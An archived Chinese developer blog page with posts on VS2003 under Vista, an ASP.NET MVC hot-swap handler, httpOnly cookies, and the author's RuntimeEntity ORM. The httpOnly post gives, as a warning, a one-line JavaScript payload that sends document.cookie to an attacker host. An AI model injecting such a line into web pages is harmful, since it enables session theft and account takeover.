迷失网络

如果你误读成“迷失公园”或“迷失侏罗纪”,那你可能真的迷失网络了。
随笔 - 88, 评论 - 1932, 引用 - 106

导航

关于

lostinet@lostinet.com这个油箱不能用了。因为空间没了,lostinet.com指向为127.0.0.1 。。。

标签

每月存档

最新留言

广告

【第1页/共5页,89条】
首页
前页
1
2008年01月24日

虽然是小事情,不过也在这里说一下.

最近因为工作的问题,新买了一台SONY的笔记本.

现在的笔记本都是安装VISTA的, 想安装XP吧, 还找不到硬盘.

而且因为没有软驱, 所以安装时也弄不了硬盘驱动.

这个问题只好以后有空的时候解决了.

现在用VISTA安装了VS2003后, 出现了一个很严重的问题.

使用FIND IN FILES功能时, VS2003会停止响应.

上网找相关信息, 有人已经报告这个问题了.

不过MS说不管VS2003了. 

 

后来发现了另外一台VISTA的电脑不存在这个问题.

以对比原来是WINDOWS THEMES的问题.

只要把WINDOWS外观, 改成比较难看的标准模式,(就像WIN2000那样..)

就能把问题解决掉了.

 

希望这个记录对VISTA下用VS2003的同行有帮助.

 

 

 

posted on 2008-01-24 11:56:00 by lostinet  评论(12) 阅读(5015)

 
2007年12月11日

让 ASP.NET MVC 支持 HotSwap

下载这次的例子代码 [ http://www.cnblogs.com/Files/Lostinet/Asp35Website1.zip ]

 

在HowToStart那帖中,我提到了ASP.NET MVC的问题 :
如果修改一次Controller的代码,就导致ASP.NET重启一次 , 那么会不会很麻烦?

有时候一个项目大一点, ASP.NET启动一次需要几十秒, 那样的等待真的很浪费时间.

与思归的交谈中, 他提到了HotSwap的概念. "热插拔" - 编写代码后不需要重新编译或重启ASP.NET.


怎样实现这个功能呢? 现在MVC的文档很少. 只能通过Reflector去找答案了.

一个Request,从Url, 一直到了具体的 Controller , 经过了那些步骤呢?

下面列出了这个步骤的详细:
1. Url
2. RouteTable
3. MvcRouteHandler
4. MvcHandler
5. ControllerBuilder
6. ControllerFactory
7. Controller

这个过程中, MvcRouteHandler 是连接 RouteTable 和 MvcHandler 的桥梁.

MvcHandler则根据传递过来的信息, 根据某种规则, 从所有的Assembly中找到对应的Controller类

然后把类型信息传递给 ControllerBuilder/ControllerFactory , 用于指定一个更具体的Controller.
(类似RuntimeEntity那篇文章说的子类化模式..)

看来, 需要对MvcHandler下手了. 而 MvcRouteHandler 则就是 MvcHandler 的 Factory.

所以同时也要编写MvcRouteHandler的实现 :
public class HotSwapMvcRouteHandler : System.Web.Mvc.MvcRouteHandler
{
    protected override IHttpHandler GetHttpHandler(System.Web.Mvc.RequestContext requestContext)
    {
        HotSwapMvcHandler handler = new HotSwapMvcHandler();
        handler.RequestContext = requestContext;
        return handler;
    }
}
public class HotSwapMvcHandler : System.Web.Mvc.MvcHandler
{
    protected override Type GetControllerType(string controller)
    {
        string name = controller + "Controller";
        string file = "~/Controllers/" + name + ".cs";
        if (!System.IO.File.Exists(HttpContext.Current.Server.MapPath(file)))
            return base.GetControllerType(controller);
        System.Reflection.Assembly assembly = System.Web.Compilation.BuildManager.GetCompiledAssembly(file);
        return assembly.GetType(name, true, true);
    }
}

上面2个类, 写在App_Code里就OK了, 然后, 需要修改一下 RouteTable 的写法:
RouteTable.Routes.Add(new Route
{
    Url = "[controller]/[action]/[id]",
    Defaults = new { action = "Index", id = "" },
    RouteHandler = typeof(HotSwapMvcRouteHandler)
});

注意一下 , RouteHandler由MvcRouteHandler替换成 HotSwapMvcRouteHandler 了.
这样HotSwapMvcRouteHandler的代码就能够被执行, 返回HotSwapMvcHandler

HotSwapMvcHandler 这里得到了一个 controller 的参数, 就是它了.
我们要做的事情,就是根据它 , 找到我们想要的 Controller

上面的GetControllerType的具体实现也实在太简单了.
如果存在 ~/Controllers/XxxControler.cs
就编译它, 然后直接返回 XxxController 类型.
否则就按传统的方式去寻找对应的类.

----

OK , 就这样2步, 就实现了在 ~/Controllers/ 中存放Controller代码的目的了.
重温一下这2步:
1. App_Code中增加 HotSwapMvcRouteHandler , HotSwapMvcHandler
2. Global.asax中修改RouteTable的定义


然后,就可以在 ~/Controllers/ 下增加 TestController.cs , 内容是
public class TestController : Controller
{
    [ControllerAction]
    public void Index()
    {
        ViewData["typename"] = this.GetType().AssemblyQualifiedName;
        ViewData["version"] = "version5";
        RenderView("index");
    }
}

然后创建对应的 ~/Views/Test/index.aspx 把东西显示出来:
index.aspx
<hr />
<%=ViewData["version"] %>
<hr />
<%=ViewData["typename"] %>
<hr />
<%=Application["mystr"] = "1" + Application["mystr"]%>

显示:
version5
--------------------------------------------------------------------------------
TestController, App_Web_testcontroller.cs.39ee6e8a.c0bebgfm, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
--------------------------------------------------------------------------------
111

不断地刷新它,  Application["mystr"]就会越来越长.

然后去修改 TestController.cs 把. 把ViewData["version"] = "version123";
那么就会立刻生效, 显示version123,而Application["mystr"]没有重置, 证明ASP.NET并没有重启.


想提高开发的方便性的朋友 , 不妨试试上面的代码.


 

posted on 2007-12-11 01:30:00 by lostinet  评论(7) 阅读(5387)

 
2007年12月10日

有没有人下载了ASP.NET MVC ?

无法知道如何开始.

用VS Web Developer Express 2008,有项目模板 [ASP.NET 3.5 Extensions Web Site],

新建了,只有一个web.config里包含了一些必要的配置. 例如UrlRoutingModule.

建立了Controllers目录,建立了一个TestController类

然后建立Views目录,在下面继续建个Test目录.

然后浏览http://localhost:3759/Asp35Website1/Test/. 很不幸. 无法找到资源.

不知道还需要配置些什么. 请大家在这里聊聊.


 

posted on 2007-12-10 22:18:00 by lostinet  评论(8) 阅读(5398)

 
2007年11月10日

自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.

这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .

而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.


但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?

例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去.

你知道cnblogs.com允许用户随意增加javascript的.

那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:

hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)

当然,ASP.NET发送给客户端的信息是加密过的.

但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.

 

所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.

但是如果使用IE6SP1,IE7,就不会存在该问题.

因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.

posted on 2007-11-10 12:36:00 by lostinet  评论(7) 阅读(4796)

 
RuntimeEntity除了简单易用,性能优越之外. 还有一些很有特色的机制:

负载平衡下的缓存版本控制.

通常如果一个使用缓存的应用程序,都会遇到一个问题:
如何保证每个进程的缓存都是最新的?
如果每个进程中的数据不是最新,那么一个应用程序将会发生不可预知的错误.
这种不稳定性是会让人睡不了觉的.
通常一些系统会有这样的做法:
1.完全不做缓存的同步或检查 , 错误就错误, 由它.
有时候这种做法也是无奈的,因为项目资金有限,或者架构上已经定型.不好处理.
2.使用分布式架构, 用一台服务器访问数据/或者缓存数据.
这个做法的最大问题就是导致序列化的开销. 大大地降低系统性能.

RuntimeEntity使用一种特殊的缓存方案.
具体的原理是,在每台服务器上, 都自行存放数据.
当服务器上的代码通过RuntimeEntity加载数据时,
RuntimeEntity会去向"版本服务器"查询数据的版本.
也就是说,这个方案和分布式缓存最大的不同就是 ,
每台服务器需要较大的内存 , 但是只进行极少的数据通信, 完全避免序列化.

这个方案通过配置完成. 完全不需要改动代码.
使用RuntimeEntity编写一次代码 , 就轻易实现在性能方面的伸缩性要求.

数据库服务器端并发检查

RuntimeEntity提供了2个级别的并发检查.
默认是应用程序进程内的对象的自动锁定,尽量避免并发问题.
一旦出现数据的并发错误,就会抛出异常,阻止错误的操作,保证数据的正确性.

这种级别的并发检查, 适合部署在单进程的Web服务器中.
一旦需要部署在多个服务器中进行负载平衡 , 那么单靠进程内检查是远远不够的.

所以RuntimeEntity提供了,和DLinq类似的, 数据库服务器端的并发检查.
一旦要进行UPDATE/DELETE,就会发送所有的本地数据到数据库上进行比较.

这个操作会稍微降低性能. 但是它是可选的. 只需要进行配置就OK. 无需额外编码.

开发人员还可以使用Timestamp类型进行更好的检查机制.
(在数据表加一个Timestamp字段就OK了,无需编码)
这个也是数据库服务器端的检查,而且性能更好.


强大的子类化扩展方案

当一家软件公司希望开发通用的应用程序时, 总会遇到一个问题:
如何在不修改现有代码的情况下,改变系统的默认行为,针对具体情况进行扩展?

RuntimeEntity在不改动代码的情况下, 直接提供一个子类化的扩展方案.
具体原理就是RuntimeEntity的代码编写中, 是不存在new MyRecord()这样的创建对象的方式的.
任何NewRow,LoadRow操作创建对象,都是由RuntimeEntity代理.
当进行适当的配置后, 在执行例如RuntimeEntity.NewRow<MyEntity>()的时候,
RuntimeEntity就可以根据配置, 创建一个 MyAnotherEntity 对象:
public abstract class MyAnotherEntity : MyEntity
{
    override public void MyLogic()
    {
        base.MyLogic();
        MyCustomOperation();
    }
}
就如上面代码所示 , 通过override一个业务方法 , 直接就可以重写业务逻辑.


灵活,高性能的AOP方案

RuntimeEntity在运行的时候, 根据配置, 允许其他类拦截Entity上的virtual的方法.
这个功能非常有用. 尤其当架构师想实现一些插件,扩展功能的时候.
当一个Entity的任何virtual方法被调用,或者是进行INSERT/UPDATE/DELETE的时候,
都能通过配置的方式,让扩展的代码得到通知,获取改变参数/返回值.

而这个功能的实现方式, 是在运行时进行编译, 性能非常高. 而又无需安装VS插件之类的.

- - - - - - - -
这些高级的功能, 大多都是可以在运行时进行扩展.
而不需要改变编码规则. 这也是RuntimeEntity的名字的来由.

RuntimeEntity Preview 中并不包含以上所列的功能.

posted on 2007-11-10 12:36:00 by lostinet  评论(4) 阅读(4438)

 
2007年11月09日
之前发过3个相关的文章:
AbstractRecord 预告. (关键字 ORM,ActiveRecord,DomainModel)
CSPAbstractRecord之Teddy's KB样式的性能报告.
近况:AbstractRecord改名为RuntimeEntity,以及一个MVC框架的预告.
因为最近比较忙. 所以一直没有继续做那个工程.

现在稍微空闲了些. 所以把之前做的版本整理了一下. 提供下载:
/Files/Lostinet/RuntimeEntityPreview.rar

压缩文件内容简介:
RuntimeEntityPreview.dll 这个dll就是框架的运行库.
RuntimeEntityGenerator 使用这个帮助生成对应的类.(不是必须)
RuntimeEntityPetshop 一个可以执行运行的例子. 根据PetShop改编. 需要关联Database文件夹内的数据库文件.
RuntimeEntityStart 一个中文描述的Console程序. 用于帮助读者最快速度了解RuntimeEntity.

什么人该下载它 ?
一 : 看过之前的文章的,感兴趣的,想测试一下性能的.
二 : 自己也写过数据库访问框架的,可以拿来对比一下.
三 : 一直都没找到合适自己的数据库访问框架的.
四 : 总觉得数据库访问框架很复杂,想学习又怕难的.
...

RuntimeEntityPreview有什么好玩的?
+ : 极简单的代码编写与定制模式. 虽然比不上SubSonic方便,但是比SubSonic拥有更多的定制能力.
+ : 极高性能的实现. 欢迎拿去与各种情况做性能的比较.
+ : 有自制的Linq Provider. 可以执行这样的代码:
var q = from row in Order.LinqSource
where row.Customer.City.Substring(3).Trim().StartsWith("don")
select row;
有兴趣的可以考虑用Reflector打开RuntimeEntityQuery<T>.QueryProvider研究一下.
+ : 支持DLinq. 通过实现MappingSource,用DLinq来访问数据库:
(但是目前RuntimeEntityMappingSource没有包含在RuntimeEntityPreview内)


关于更加具体的,如何使用这个RunimeEntity,可以参考AbstractRecord预告那篇文章.
或者参考这篇还没有开始写的文章: [占个位置 , 如何使用RuntimeEntity访问数据库]

另外我们正在找有一年经验以上初中级的界面程序员:
CuteSoft珠海办事处诚招2位界面程序员

posted on 2007-11-09 02:59:00 by lostinet  评论(1) 阅读(3751)

 
2007年10月11日

AbstractRecord这个名字不是很好,因为我不是太喜欢AEIOU开头的名词.
所以我选择了一个在google上,记录很少的名字,作为这个数据库访问框架的名字:RuntimeEntity
这个框架远在8月份就已经完成了一大半.然后就停止了.因为这段时间无论是工作还是生活,都有更加重要的事情要做.
这个星期将完成那些重要的事情,我会用业余的时间,整理一下RuntimeEntity,然后发布一个预览版本.

这次写BLOG,完全是受微软ASP.NET MVC的刺激.
微软的新的MVC框架, 似乎抛弃了ASP.NET控件,抛弃了ASP.NET AJAX.
回归到纯粹Render HTML的地步.我完全无法理解微软的这个做法.

当然,在那个MVC中,程序员仍然可以用XmlHttpRequest,或者其他封装好的框架去进行AJAX,
但是ASP.NET AJAX呢?没有回发,这不止否认了ASP.NET AJAX,甚至还否认了ASP.NET本身.

微软这么大的公司,难道就没有一条兼容控件和ASP.NET AJAX的做法吗?
甚至沦落到被人骂是抄袭也在所不惜? 新的MVC框架出来了对ASP.NET又有什么意义?
为了变相承认,ASP.NET的控件模式已经不适合WEB的发展了?

请大家宽恕我对MS这么严厉的指控. 我的目的纯粹是想突出我的MVC框架的特色 : 支持控件的模板引擎.
其实当初, 我做的不是MVC, 而只是需要实现一个模板引擎, 用于把视图分离出来, 方便美工.
和网上的其他模板引擎是类似的, 利用PropertyBag和后期绑定, 把内容显示出来.
不同的地方只是语法方面很针对美工的编程水平, 做到条件和循环语句非常简单和适合WYSIWYG.

但是我把我的设计推荐给老板时, 一下就被否决了 : ASP.NET控件怎么办 ?
是的. 如果一个新的东西, 抛弃了太多成熟的技术, 那么固然这个新东西的设计可以更加自由.
但是这个新的东西, 能让人接受吗? 如果微软做一个, 那么依然会有很多人追捧. 再难也会有人接受.
但是像我这样微不足道的人, 要推广自己的技术, 就不是那么简单了.

就像MS内某位语言大师说的一样, DotNet在设计的时候, 为了兼容老的程序, 为了和不同程序之间的整合,
提供了很多"救生圈". DotNet的Interop就是一个很好的例子.

当我做RuntimeEntity的时候,提供了SQL语句的支持,就有人质疑了.
要分清楚的是,搞科研和搞工程是2回事.
现在我要做的东西,一定要是一种过渡的方案,既提供新的功能,又要和老功能兼容.

综上,我对我的模板引擎进行了革新. 让它支持ASP.NET的Control,Postback和AJAX.

其实其中的原理, 是非常简单的. 换个说法, 如果把这个引擎,说成是 "Layout", 我想会更加容易让人理解.

看看传统的ASP.NET页面 :
Test.aspx:
<table>
 <tr><td>Username:</td><td><asp:TextBox runat=server ID=Username></td></tr>
 <tr><td>Password:</td><td><asp:TextBox runat=server ID=Password></td></tr>
 <tr><td>&nbsp;</td><td><asp:Button runat=server ID="LoginBtn" Text="Login"></td></tr>
</table>

新的Layout方案:
Test.aspx:
<asp:TextBox runat=server ID=Username>
<asp:TextBox runat=server ID=Password>
<asp:Button runat=server ID="LoginBtn" Text="Login">

Test.view.html:
<table>
 <tr><td>Username:</td><td>{#render Username}</td></tr>
 <tr><td>Password:</td><td>{#render Password}</td></tr>
 <tr><td>&nbsp;</td><td>{#render LoginBtn}</td></tr>
</table>

新的方案把一个ASPX文件, 分割出另外一个html,用于装载Layout.
可以看到的是, 新的Test.aspx本身,已经完全没有排版了.
里面纯粹就是放置大量程序用到的控件.
而在Test.view.html,则定义了这个页面的布局.

把控件Render到Template中,就是这个MVC方案兼容ASP.NET的核心思想.

做到这一步,这个MVC框架就和其他的纯粹生成HTML的框架完全不同了.

1. 如何支持MasterPage?
Test.view.html的输出过程是这样的:
Page.Render -> MasterPage.Render -> MVC.Render -> 整合Test.view.html+控件
也就是说,这个模板的输出目标, 不是Response, 而是控件Render过程中的一个部分.
这个部分的内容被MasterPage包围着, 所以能很方便地应用上MasterPage.

2. 如何做到回发?
回发和回发后调用控件的事件,是ASP.NET最重要的思想. 也是我不能离开ASP.NET的原因.
其他的所谓[ControllerAction],都不会比这个方便.因为ViewState能传递很多东西,而QueryString不能.
就如MasterPage的流程一样,控件被Render出去后,是和ASP.NET的回发机制兼容的.
当页面回发时,ASP.NET的其他基础流程依然能正常运作.
换个角度来说,这个MVC框架处理的只是Render的过程,改变了控件在浏览器上的位置.
这完全不会对ASP.NET的页面生命期造成任何影响.

3. 如何支持ASP.NET AJAX?
ASP.NET AJAX不愧是一种优秀的局部SmartNaviagtion方案.
它让程序员不需要花精力到DHTML中就能实现界面的局部刷新.
它的实现的机制,是通过拦截Page的Render过程,提取需要刷新的内容来返回给客户端.
这样一来,它就和我的MVC冲突了 : 2个都尝试拦截Render过程的东西, 又怎能放在一起工作 ?
这个MVC能支持AJAX的原因是, MVC拦截的不是Page,而只是内部一个控件的Render过程.
过程是 : AJAX-Page.Render -> Form.Render -> UpdatePanel.Render -> MVC.Render
可以看到的是, MVC.Render的过程, 是被包在UpdatePanel的Render里.
所以MVC生成的内容, 能够通过AJAX发送到客户端, 更新客户端的HTML.

---
其实这帖与其说是介绍帖,还不如说是技术研究帖.
希望能给各template的开发者一个新的思路.

posted on 2007-10-11 14:04:00 by lostinet  评论(13) 阅读(5386)

 
2007年08月15日

最近我在做一个开发框架以及在上面建立的应用程序.
开发框架中包含了一个叫 AbstractRecord 的技术.
这个技术用于访问数据库,但是我不愿意把它称为ORM.

这个东西将能够大大地提高基于数据库的程序的开发速度.

由于篇幅太长,我放到文章区去了.

http://blog.joycode.com/lostinet/articles/107276.aspx 

http://www.cnblogs.com/Lostinet/archive/2007/08/15/857039.html

posted on 2007-08-15 19:24:00 by lostinet  评论(10) 阅读(5443)

 

 

# 前言:数据库交互之路

 

还记得以前在ASP时代,虽然VB/JS是基于对象的, 但是那时做网页的编程, 基本不会去声明对应数据库的格式的类. 当时的编程方式就是, 用ADO的RecordSet去读取数据. RecordSet可以说是一个集合类. 提供了最简单的, 基于字段名读取数据的Indexer. 例如 <%=rs("CustomerName")%> 这样的语句,也许大家都不会觉得陌生. 如果要进行INSERT/UPDATE/DELETE, 那么就需要手动写SQL了. 那时纯粹是传递一条SQL语句. 这个语句是需要程序员自己构造的. 如果一个表有几十个字段, 那条语句写下来, 单单是双引号和单引号就能让人觉得头晕. 好在,我在ASP上, 只工作了8个月. 就转去ASP.NET了.

 

ASP.NET下,我们有全新的ADO.NET. 那时基本都是从DataSet开始的. 因为它实在和RecordSet很像. 当时只是觉得语法有点不同而已. 重要的一点是, SqlDataAdapter能够执行INSERT/UPDATE. 也就是说, 我可以把一条记录Load下来, 然后修改其中的某些属性, 然后再更新回去. 这个过程并不需要写很长的SQL语句. 出错的机会很少.

 

相比ASP时代. ADO.NET已经是救世主了. 当时的我, 并不觉得DataSet有什么不好的.

 

后来ORM在网上热起来. 我突然发觉row["CustomerName"]是个很笨的方法. 在我的桌子旁边, 总有一张数据表结构的印刷版. 当我要操作某张表, 我就把那张纸拿出来对照. 那实在是很麻烦. 我也慢慢体会到那种强类型的对象编程的好处. 不是虚拟继承的好处, 而是当我在vs.net上打一'.'的时候,属性就会被列出来了.

 

是的,我并不关心面向对象有什么好处. 我只希望我的编程工作能简单点,尽量少出错. 可惜那时候的ORM框架并没有解决一些问题. 有些要我先设计对象,然后自动生成数据库. 有些则需要写一大堆的xml文件. 有些生成工具, 要不断地执行用于更新代码. 我自己后来也实现了自己的生成工具, 不过效果也不太理想.

 

后来的一段时间, 我没有去弄那些东西了. 我采用POCO的方案. 老老实实地把数据从SqlDataReader复制到POCO去. 插入和更新的时候, 老老实实地写那种很长的语句. 这个方案其实已经比DataSet好很多了. 起码数据是强类型的对象, 在VS.NET下有提示. 而SqlScope也帮我省了很多代码.

 

后来我渐渐过渡到一种简单的DomainModel+DomainService的方案.我把对象的属性都弄成ReadOnly,把数据都改为internal. 这样就能保护我的数据的逻辑. 这个模型一直用到现在.

 

 

世界在发展,编程的模式不会一成不变. . 在我离开CSDN后,我曾经有一段时间脱离社区. 当我回头时, 才发现自己已经脱离编程世界好久似的. 我充满恐惧, 恐怕被变化所抛弃. 于是我重新返回社区. 先是潜水, 去读博客, 了解这个世界这今年来技术有什么更新. 博客园帮了我很多. 像博客园里很多人都自己做了一套ORM的实现, 正是对以往的数据库操作模型的的不满. 而我也深受他们的影响. 我想起了以前写的文章 <<用 System.Reflection.Emit 自动实现调用存储过程的接口>> http://blog.joycode.com/lostinet/archive/2004/11/19/39238.aspx . 我决定沿用那个方式, 去实现一个全新的ORM.

 

 

# AbstractRecord的基本概念

 

一开始是这样的, 我想用interface来表示一个数据库的记录. 例如

[Table("Employees")]

public interface Employee

{

     string EmployeeName { get;set;}

}

 

后来经过思考, 根本没必要做成interface, 而换成abstract class, 能添加用户自定义的代码, 那样会更好:

[Table("Employees")]

public abstract partial class Employee

{

     public abstract string EmployeeName{get;set;}

}

后面会有一些篇幅去描述作为abstract class的好处.

 

这个编写类型的方式, 不是普通的POCO或者DomainModel. 它也不是Active Record,因为它不需要集成某个基类. 后来我发现它连 ORM 都不是. 因为不存在Mapping这个东西. 它负责的就是读写数据库而已. 也就是说, 它针对的是数据库方面, 而不是对象逻辑方面.

 

我自己给了它一个新的名字 : "Abstract Record" .

 

 

下面直接给出一个例子, 描述AbstractRecord框架下编程的第一印象:

 

拿Northwind数据来说 , 定义方式:

[CSPAR("Categories")]

public abstract partial class Category

{

     public abstract int CategoryID { get;}

 

     public abstract string CategoryName { get;set;}

     public abstract string Description { get;set;}

 

}

 

是的, 就这样, 就足够了. 无需编写配置文件, 也无需定义太多的Attribute, 也不需要定义字段, 然后傻傻地get和set.

 

既然是abstract, 不需要写实现代码了? 不需要. 这就是AbstractRecord的核心思想. 由框架去帮你实现.

 

那么,这样的对象,是无法new Category()的, 怎样实现CRUD操作?? 下面是说明的代码(ASP.NET):

 

//下面是CreateCategory.Aspx的内容

protected void ButtonCreate_Click(object sender, EventArgs args)

{

     Category cate = CSPAbstractRecord.NewRow<Category>();   //实例化一个抽象类!

     cate.CategoryName = textBoxName.Text;

     cate.Description = textBoxDescription.Text;

     CSPAbstractRecord.Save(cate);    //INSERT

     Response.Redirect("EditCategory.Aspx?CategoryID=" + cate.CategoryID); //自动得到自增的id.

}

 

上面的代码,描述了如何创建一个abstract class的实例. CSPAbstractRecord正是负责控制CRUD的类.

CSPAbstractRecord是AbstractRecord在我的那个系统上的实现. 开发人员只需要学习2个类, 就能够完成绝大部分的事情了!

 

//下面是EditCategory.Aspx的内容

protected Category _category;

protected void EnsureCategory()

{

     if (_category != null) return;

     int id = int.Parse(Request.QueryString["CategoryID"]);

     _category = CSPAbstractRecord.LoadRow<Category>(id);    //SELECT

     if (_category == null) throw (new Exception("没有该数据或者数据已经被删除!"));

}

protected override void OnLoad(EventArgs args)

{

     base.OnLoad(args);

     if (IsPostBack) return;

     EnsureCategory();

     //初始化界面

     textBoxName.Text = _category.CategoryName;

     textBoxDescription.Text = _category.Description;

}

protected void ButtonUpdate_Click(object sender, EventArgs args)

{

     EnsureCategory();

     _category.CategoryName = textBoxName.Text;

     _category.Description = textBoxDescription.Text;

     CSPAbstractRecord.Save(_category);   //UPDATE

}

protected void ButtonDelete_Click(object sender, EventArgs args)

{

     EnsureCategory();

     CSPAbstractRecord.Delete(_category); //DELETE

     Response.Redirect("CategoryList.Aspx");

}

 

上面的代码,使用了CSPAbstractRecord.LoadRow和CSPAbstractRecord.Delete去进行SELECT和DELETE的操作.

 

由上面的代码可以看出, AbstractRecord是非常容易使用, 而且, 代码量非常少. 短短几行, 就已经完成CRUD的操作界面. 我实在是想不出能比这种方式更节省代码的方式了.

 

使用AbstractRecord编程的重点:

1. 用极少的代码去定义类型化数据的抽象类.

2. 使用CSPAbstractRecord.NewRow/LoadRow/Save/Delete进行CRUD的操作.

 

 

# 封装数据

 

传统的POCO或贫血的DomainModel都有一个共同点, 就是所有的属性, 都是 get;set 的. 能得到那些对象, 就能随意更改属性, 甚至会破坏应用程序的逻辑. 如果是小型的应用, 业务逻辑简单, 那无所谓. 但是如果是一个复杂的系统, 那么保护数据不被滥用 , 是非常重要的事情. 这个,是很多ORM或相关框架无法做到的.

 

AbstractRecord允许程序员把数据成员定义为protected或者是protected internal. 这就是封装的根本实现方案.

 

就上面那个Category的例子, 里面有一个Picture字段. 通过数据的封装, 可以实现类型的转换:

public abstract partial class Category

{

     protected abstract byte[] InternalPicture { get;set;}

     public System.Drawing.Image Picture

     {

         get

         {

              if (InternalPicture == null)

                   return null;

              return System.Drawing.Image.FromStream(new System.IO.MemoryStream(InternalPicture));

         }

         set

         {

              if (value == null)

              {

                   InternalPicture = null;

                   return;

              }

              System.IO.MemoryStream ms = new System.IO.MemoryStream();

              value.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);

              InternalPicture = ms.ToArray();

         }

     }

}

上面的代码 , 一个是 abstract 的 InternalPicture. 这个属性被读写时, 反映的是数据库字段的读写. 而 public System.Drawing.Image Picture 并不是abstract的, 它通过InternalPicture,实现外部数据类型和数据库类型的转换. 这是程序员自定义的代码, 也就是为什么我使用abstract class, 而不是interface的原因.

 

(TIPS: 我们还可以定义这样的属性: public abstract string MyField { get;internal protected set;} 这种属性能被外部读取, 但只能在同assembly的范围内修改.)

 

基于这种形式的数据封装, 程序员甚至可以把所有的数据属性都定义为protected或protected internal. 然后提供一个公共的方法, 或者是使用另外的一个DomainService去修改那些数据. 业务逻辑就这样被保护起来了.

 

 

# 关系处理

 

关系处理一直是ORM的难题. 因为基于POCO的ORM, 它要帮你填充所有相关的数据, 不能实现LAZY LOAD. 而有些能实现的呢? 则需要很多定义. 或者要继承某个基类, 然后调用基类的方法去取得相关数据.

 

AbstractRecord使用一种基于数据库定义的关系去生成相关对象的实现. 在关系的处理上, 很简单:

[CSPAR("Order Details")]

public abstract partial class OrderDetail

{

     public abstract Order Order { get;}

     public abstract Product Product { get;}

}

 

就是这样,当程序员定义一个abstract的,返回其他相关类型的属性, 就已经完成了多对一关系的定义了. 无需写更多的代码. 无需定义Attribute或者是xml文件.

 

那么一对多呢?

[CSPAR("Orders")]

public abstract partial class Order

{

     public abstract OrderDetail[] Details { get;}

}

 

当返回值改为相关对象类型的数组是, 就是多对一的情况. 一对多,和多对一的定义, 是独立的.少了哪个都可以 .

 

剩下的就是 多对多的"难题"了. 也许你看到下面的代码, 都会惊叹原来多对多是那么地简单:

 

[CSPAR("Orders")]

public abstract partial class Order

{

     public abstract OrderDetail[] Details { get;}

     public Product[] Products

     {

         get

         {

              return Array.ConvertAll<OrderDetail, Product>(Details, delegate(OrderDetail d) { return d.Product; });

         }

     }

}

[CSPAR("Products")]

public abstract partial class Product

{

     public abstract OrderDetail[] Details { get;}

     public Order[] Orders

     {

         get

         {

              return Array.ConvertAll<OrderDetail, Order>(Details, delegate(OrderDetail d) { return d.Order; });

         }

     }

}

 

上面的代码, 使用一对多和多对一的属性, 再使用一次 Array.ConvertAll , 就实现了多对多. (其实数据库的多对多实现也是通过一对多组合而成的. )

 

# 数据库查询

 

很多人不喜欢ORM, 是因为大多的ORM框架, 都企图让数据库变得透明. 甚至是弄出HQL之类的语法去统一数据库查询方案. 其实这是软件发展的一个方向. 但不见得是程序员所希望的.

 

CSPAbstractRecord设计的时候, 就和数据库紧密相连, 并且能与传统的数据库查询相结合.

 

先看看CSPAbstractRecord是如何进行简单查询的:

 

查询存货不足的产品:

Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderBySql("ProductName", false);

实际上UnitsInStock<{0}就是一条SQL语句. 而CSPAbstractRecord会把{0}换成@p1_1这样的形式去查询SqlServer.

 

根据Category查询Product:

Product[] products = CSPAbstractRecord.All<Product>().Where("CategoryID IN (SELECT CategoryID FROM Categories WHERE CategoryName={0})", category).OrderBySql("ProductName", false);

 

或者是组合起来:

Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).Where("CategoryID IN (SELECT CategoryID FROM Categories WHERE CategoryName={0})", category).OrderBySql("ProductName", false);

 

实际上, 使用IN/EXISTS就能实现INNER JOIN的功能了. 甚至在子查询内使用聚合:

Order[] orders=CSPAbstractRecord.All<Order>().Where("OrderID IN (SELECT OrderID FROM [Order Details] GROUP BY OrderID HAVING SUM(UnitPrice*Quantity)>{0} )", 10000);

 

如果你曾经研究过INNER JOIN,IN,EXISTS的区别, 你就会明白数据库会对这些查询进行优化. 三种方案的性能是一致的.

 

数据分页: AbstractRecord还带一个高性能的分页方式:

Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderBySql("ProductName", false).GetRange(start, pagesize, out allcount);

输入开始位置(例如pageindex*pagesize),要取回的记录数(pagesize),就能返回符合要求的记录,并且返回所有记录数.

就这样的一个GetRange方法, 就能满足目前ASP.NET开发的分页需求了.

 

如果上面的查询依然不能满足你的需要, 还可以使用CSPAbstractRecord.BatchLoadRows方法:

object[] productid=......//用自定义的方法去取得ProductID列表

Product[] products = CSPAbstractRecord.BatchLoadRows<Product>(productids);

 

上面的,都是基于SQL的查询方案. Where方法还可以指定Predicate<T>来选择符合要求的记录:

Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).Where(delegate(Product p) { return p.Details.Length>10 });

这种查询,先优先执行SQL,然后把所有符合SQL的数据返回,在本地进行CLR的筛选. 其实内部只是简单地使用Array.FindAll<Product>()方法去筛选而已.

因为要加载所有数据, 所以只适合小记录的表. 或者是肯定SQL语句能排除大部分记录的情况下使用.

 

查询时的排序:

 

上面的方式使用了 .OrderBySql("ProductName", false); 来进行SQL的排序.

CSPAbstractRecord还支持使用 Comparison<T> , Comparer<T> 进行排序:

Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderBy(delegate(Product d1, Product d2) { return d1.Supplier.CompanyName.CompareTo(d2.Supplier.CompanyName); });

 

这种方案会加载所有相关的Supplier. 如果不想加载相关的对象, 还可以使用OrderByKey方法:

IDictionary dict = SqlScope.ExecuteDictionary("SELECT ProductID,CategoryName FROM Products INNER JOIN Categories ON Products.CategoryID=Categories.CategoryID");

Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderByKey(delegate(object k1, object k2)

{

     string n1 = dict[k1] as string;

